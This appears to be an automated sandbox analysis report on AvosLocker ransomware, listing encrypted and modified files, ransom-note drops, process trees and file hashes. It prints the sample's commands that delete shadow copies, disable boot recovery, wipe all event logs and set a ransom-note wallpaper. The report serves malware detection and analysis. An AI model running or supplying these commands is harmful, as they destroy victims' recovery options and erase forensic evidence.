| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\org-netbeans-modules-templates.xml_hidden | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\UTC | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\en-US\js\localizedStrings.js | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-heapdump.jar | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\BLENDS\BLENDS.INF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Java\jre7\lib\zi\Etc\GMT+3 | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-editor-mimelookup-impl.xml | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\EN00319_.WMF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00177_.WMF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\STUDIO\STUDIO.INF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\CANYON\CANYON.ELM | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\timer_over.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0107482.WMF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-modules-appui_ja.jar | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-profiler.xml | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-loaders_ja.jar | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.services.nl_zh_4.4.0.v20140623020002.jar | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Majuro | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\en-US\css\clock.css | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BrightOrange\TAB_OFF.GIF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE02270_.WMF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\TN00255_.WMF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Common Files\microsoft shared\ink\de-DE\mip.exe.mui | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files\Windows Journal\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\Perf_Scenes_Subpicture1.png | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Windows Media Player\de-DE\WMPDMCCore.dll.mui | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0205582.WMF | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| File created | C:\Program Files (x86)\Common Files\System\Ole DB\it-IT\GET_YOUR_FILES_BACK.txt | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
Interacts with shadow copies
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\vssadmin.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Uses Volume Shadow Copy service COM API
Processes
C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe
"C:\Users\Admin\AppData\Local\Temp\AvosLocker.exe"
C:\Windows\system32\cmd.exe
cmd /c wmic shadowcopy delete /nointeractive
C:\Windows\system32\cmd.exe
cmd /c vssadmin.exe Delete Shadows /All /Quiet
C:\Windows\system32\cmd.exe
cmd /c bcdedit /set {default} recoveryenabled No
C:\Windows\system32\cmd.exe
cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
C:\Windows\system32\cmd.exe
cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
C:\Windows\System32\Wbem\WMIC.exe
wmic shadowcopy delete /nointeractive
C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /All /Quiet
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy ignoreallfailures
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "$a = [System.IO.File]::ReadAllText(\"F:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"
C:\Windows\system32\reg.exe
"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1882079261.png /f
C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False
Network
Files
C:\Users\GET_YOUR_FILES_BACK.txt
| MD5 | 01188d22b1675e3437b1418e14f4ffab |
| SHA1 | 6e7127f3bbfce49485ed8f1acf8f697bcb952818 |
| SHA256 | e4b3ac00a0b2eb195b26abffbc4368077384e73393e51605edda17dae05ab7f2 |
| SHA512 | 6903ae3247f32ad79c60a2062cd6a7bdbf5a7c9db1bdc43bdbef4da3396945014d30968ea4c8531a2d0c7b695f1ea36e2b8c51bb39cc6157c4096ac04a6e187d |
memory/1792-1118-0x000000001B6F0000-0x000000001B9D2000-memory.dmp
memory/1792-1170-0x0000000001EF0000-0x0000000001EF8000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | 1be5c83cfe6067d91b6a1f1ce121f259 |
| SHA1 | cfaace668afef85fe2566ac4ff05ef8e4cbc2de3 |
| SHA256 | ee6fb1847562eae19e1630bb450350e6380b98b32da63591058cb841a44e5e49 |
| SHA512 | c9e58760852db5b545eae0761a5ac26da17f3516312b703ad32d9bad2029ff4bfebce9da326a26b314e9aa142d2fc16d7425d80678a1a7813a028206e9150be3 |
memory/4196-24583-0x000000001B760000-0x000000001BA42000-memory.dmp
memory/4196-24584-0x0000000001F70000-0x0000000001F78000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\1882079261.png
| MD5 | 3c448ddcee1b63f8aae7d952e5061bdc |
| SHA1 | 3163bc4036c9068a56664179b9a0db0bbbce339e |
| SHA256 | ae6bd768e8208c7bd88184f51087c60069345142f7baa779a300b8d366ddc89f |
| SHA512 | 5ae3644d243c4f347097dafbd6ffe97e26b85343e8264b2a0f7b099b3f181dc2e9a1c2b572f173a953117a44c055e26cd63025e9d2f2ffe6e3ec408ccb79a58b |